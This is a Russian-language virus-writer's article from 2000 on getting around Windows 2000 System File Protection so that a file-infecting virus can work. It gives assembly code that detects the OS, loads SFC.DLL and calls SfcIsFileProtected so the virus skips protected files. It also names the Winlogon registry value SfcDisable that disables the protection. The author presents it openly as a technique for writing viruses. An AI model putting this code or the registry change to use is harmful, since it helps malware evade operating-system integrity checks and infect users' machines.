SFP protects - 11:07 - by Ultras
 
   Решил  я  как то раз написать вирус который бы работал под Win2000, но
столкнулся  с  проблемой.  Эта проблема заключалось в том что вирус когда
пытался  заразить файлы под Win2000 некоторые из них выдавали сообщения в
стиле  обломись...  Потом от benny я узнал немного о SFP и вскоре я нашел
интересную  толзу  (по  моему  на elicz.cjb.net) которая отключала SFC. Я
поговорил  с  автором  он  мне много рассказал про SFP и прислал исходник
програмки...  Итак  как  отключить SFC, как узнать файл протект или нет и
многое  другое... Несмотря на то что про это писал GriYo я все таки решил
описать это на русском и по своему.

Хочу сказать большое спасибо: mort, benny, Elicz.

Итак о галимой защите в 2000 виндах...

   1)  Для  начало  вашему  вирусу  надо  проверить  в какой операционной
системе он работает:

call GetVersion               ;Получаем версию нашей операционной системы
cmp al,5                      ;проверим если 5 - Win2000
jne no_windie2000             ;выходим если не Win2000.

   2)  Потом  нам  нужно  загрузить  SFC.dll для проверки в дальнейшем на
защищенные файлы.

call SFC_name
db 'SFC.DLL',00h                ;имя нашей dll
SFC_name:
call LoadLibraryA               ;загрузим её
xchg eax,ebx
test ebx,ebx                    ;проверим вообще если dll
je NoSFC                        ;опз... нема
mov dword ptr [SFCDLL],ebx      ;сохраним для будущей работы

call SFC_api
db 'SfcIsFileProtected',00h     ;имя нужной нам SFC API функций
SFC_api:
push ebx                        ;адрес dll
call GetProcAddress             ;получим api адрес функций
test eax,eax
je NoSFC                        ;выходим если ошибка
mov dword ptr [SFCAPI], eax     ;сохрани для вызева

3) Потом ищем файл и проверяем защищен он или нет.

push имя файла                  ;параметр для имени проверяемого файла
push 00000000h                  ;нули.. так над0
call SfcIsFileProtected         ;вызываем api
or eax,eax                      ;проверяем если 0 - файл незащищен,
                                ;1 - защищен..
jnz again                       ;если 1 нахрен нам такой файл нужен


Отключить SFP можно через реестр, это очень просто

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

SfcDisable = 01 (true)

но это параметр будет работать только после перезапуска системы :(

   когда  я  дописывал  эту  статью  elicz  должен  был выпустить утилиту
которая должна была отключать SFP без перезагрузки... как я не знаю...

  ULTRAS[MATRiX]
What`s my age again

 Март-Апрель 2000